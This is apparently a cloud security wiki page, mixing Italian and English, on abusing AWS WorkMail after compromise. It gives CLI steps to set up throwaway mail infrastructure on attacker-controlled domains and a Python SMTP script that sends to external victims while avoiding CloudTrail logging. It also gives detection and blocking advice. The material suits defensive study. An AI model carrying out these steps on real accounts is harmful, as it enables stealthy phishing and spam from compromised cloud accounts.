AWS - WorkMail Post Exploitation

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Abusing WorkMail to bypass SES sandbox

Anche se SES è bloccato nella sandbox (solo destinatari verificati, ~200 msgs/24h, 1 msg/s), WorkMail non ha una restrizione equivalente. An attacker con chiavi a lungo termine può istanziare un’infrastruttura mail usa-e-getta e iniziare a inviare immediatamente:

  1. Create a WorkMail org (region-scoped)
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
  1. Verify attacker-controlled domains (WorkMail invokes SES APIs as workmail.amazonaws.com):
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
  1. Provision mailbox users and register them:
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com

Notes:

  • Default recipient cap documented by AWS: 100,000 external recipients/day per org (aggregated across users).
  • Domain verification activity will appear in CloudTrail under SES but with invokedBy: workmail.<region>.amazonaws.com, so SES verification events can belong to WorkMail setup rather than SES campaigns.
  • WorkMail mailbox users become application-layer persistence independent from IAM users.

Sending paths & telemetry gaps

Web client (WorkMail UI)

  • Appaiono come eventi ses:SendRawEmail in CloudTrail.
  • userIdentity.type = AWSService, invokedBy/sourceIPAddress/userAgent = workmail.<region>.amazonaws.com, quindi il vero IP client è nascosto.
  • requestParameters continuano a leak il sender (source, fromArn, sourceArn, configuration set) per correlare con domini/mailbox appena verificati.

SMTP (stealthiest)

  • Endpoint: smtp.mail.<region>.awsapps.com:465 (SMTP over SSL) using the mailbox password.
  • No CloudTrail data events are generated for SMTP delivery, even when SES data events are enabled.
  • Ideal detection points are org/domain/user provisioning and SES identity ARNs referenced in subsequent web-sent SendRawEmail events.
Esempio di invio SMTP tramite WorkMail ```python import smtplib from email.message import EmailMessage

SMTP_SERVER = “smtp.mail.us-east-1.awsapps.com” SMTP_PORT = 465 EMAIL_ADDRESS = “marketing@attacker-domain.com” EMAIL_PASSWORD = “SuperSecretPassword!”

target = “victim@example.com” # can be unverified/external msg = EmailMessage() msg[“Subject”] = “WorkMail SMTP” msg[“From”] = EMAIL_ADDRESS msg[“To”] = target msg.set_content(“Delivered via WorkMail SMTP”)

with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)

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## Considerazioni per il rilevamento

- Se WorkMail non è necessario, bloccarlo tramite **SCPs** (`workmail:*` deny) a livello dell'organizzazione.
- Allertare sul provisioning: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, e verifiche SES con `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Monitorare eventi anomali **`ses:SendRawEmail`** in cui gli ARN di identity fanno riferimento a nuovi domini e l'IP/UA sorgente è `workmail.<region>.amazonaws.com`.

## References

- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)

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